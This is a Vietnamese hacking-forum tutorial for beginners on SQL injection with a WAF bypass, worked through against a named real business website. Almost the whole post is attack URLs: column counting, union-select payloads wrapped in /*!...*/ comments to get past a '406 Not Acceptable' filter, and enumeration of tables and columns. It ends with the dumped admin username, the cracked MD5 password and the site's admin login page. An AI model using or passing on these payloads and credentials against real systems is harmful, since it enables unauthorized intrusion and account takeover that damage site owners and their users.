[Tut] sql bypass 406 cực cơ bản cho newbie

Admin

AdminAdmin is verified member.

Well-Known Member
Staff member
Administrator
Link lỗi:
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141
check lỗi thì ai cũng biết:
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141'
--> you have error in sql syntax ...blah blah blah
xóa dấu ' rồi order by đếm field thôi
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 order by 1--
bình thường
....
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 order by 9--
Unknown column '9' in 'order clause'
OK,vậy là có 8 field nhá
tìm field lỗi xem nào
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 union select 1,2,3,4,5,6,7,8--
bùm,406 Not Acceptable rồi,phải bypass thôi
h mình thêm /*!...*/ vô nha
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,2,3,4,5,6,7,8--
ok,đã xuất hiện field lỗi
2,3,4,7,8 --> ai thích số nào thì chơi số đó nha,ở đây mình chọn đại số 2
mình thì quen chỉ check ver thôi,khỏi DB +user (pro đừng chém em)
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,version(),3,4,5,6,7,8--
5.1.56 -->thoải mái chiến
tiếp phần vui đây,get table nhá
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema=database()--
group_concat là lệnh để nối cụm lại thành 1 dòng với nhau nhá (dành cho newbie chưa biết)
Lại bị 406 Not Acceptable nữa àk
tìm coi nó chặn cái gì nhá
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,/*!group_concat*/(/*!table_name*/),3,4,5,6,7,8 from information_schema./*!tables*/ where table_schema=database()--
FUNCTION nutrangh_nutrang.group_concat does not exist. Check the 'Function Name Parsing and Resolution' section in the Reference Manual
àk thì ra nó chặn group_concat
vậy mình dùng concat thôi cũng được,mặc dù nó không liên kết vào 1 dòng
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,concat(/*!table_name*/),3,4,5,6,7,8 from information_schema./*!tables*/ where table_schema=database()--
Yeah,ra rồi kìa
ta chỉ cần để ý cái table "admin" thôi nhá
h có table name rồi thì tất nhiên ta phải đi tìm column name
đi hex cái "admin" ra trước đã
admin = 61646d696e
thêm vào 0x trước cái dãy hex đó nhá
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,concat(/*!column_name*/),3,4,5,6,7,8 from information_schema./*!columns*/ where table_name=0x61646d696e--
ac ,lại là thằng 406 Not Acceptable đáng ghét!
àk thì ra quên bypass chỗ table_name
thêm /*!...*/ vào nha các bạn
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,concat(/*!column_name*/),3,4,5,6,7,8 from information_schema./*!columns*/ where /*!table_name*/=0x61646d696e--
rồi đó ,có column id,username,password
khai thác user+pass thôi là được rồi
HTML:
http://nutranghuongphat.com/index.php?tab=4&subtab=26&id=141 /*!union*/ /*!select*/ 1,concat(/*!username,0x2f,password*/),3,4,5,6,7,8 from admin--
các bạn lưu ý chỗ 0x2f nhá,2f là mã hex của dấu / thêm 0x vào để trong lúc query nó hiểu đó là mã hex thôi
nên khi coi các tut khác ,có nhiều pro sử dụng các dấu như ","(0x2c) ":"(0x3a)..v..v.. thì cũng đừng hỏi là gì mà hãy tự dịch mã hex đi nhé
àk quên mất mục đích chính ,dag khai thác mà nói nhiều quá,sr :D
sau khi thực hiện câu lệnh trên ta được :
adminoto/e10adc3949ba59abbe56e057f20f883e
adminoto :username của admin
e10adc3949ba59abbe56e057f20f883e : pass của admin ,decrypt md5 ra được là 123456 :| (thằng admin để pass vui tính nhỉ)
h chỉ còn tìm link admin thôi
HTML:
http://nutranghuongphat.com/admin/login.php

àk quên convert hex online ở trang này nhé (dành cho newbie):
HTML:
http://www.string-functions.com/string-hex.aspx
 

Facebook Comments

Similar threads

Admin
Replies
2
Views
1K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
1K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
2K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
2K
AdminAdmin is verified member.
Admin
Admin
Replies
3
Views
1K
congtust24
congtust24
Admin
Replies
2
Views
11K
vvnamtagame
vvnamtagame
Admin
Replies
0
Views
2K
AdminAdmin is verified member.
Admin
Admin
Replies
0
Views
2K
AdminAdmin is verified member.
Admin
Back
Top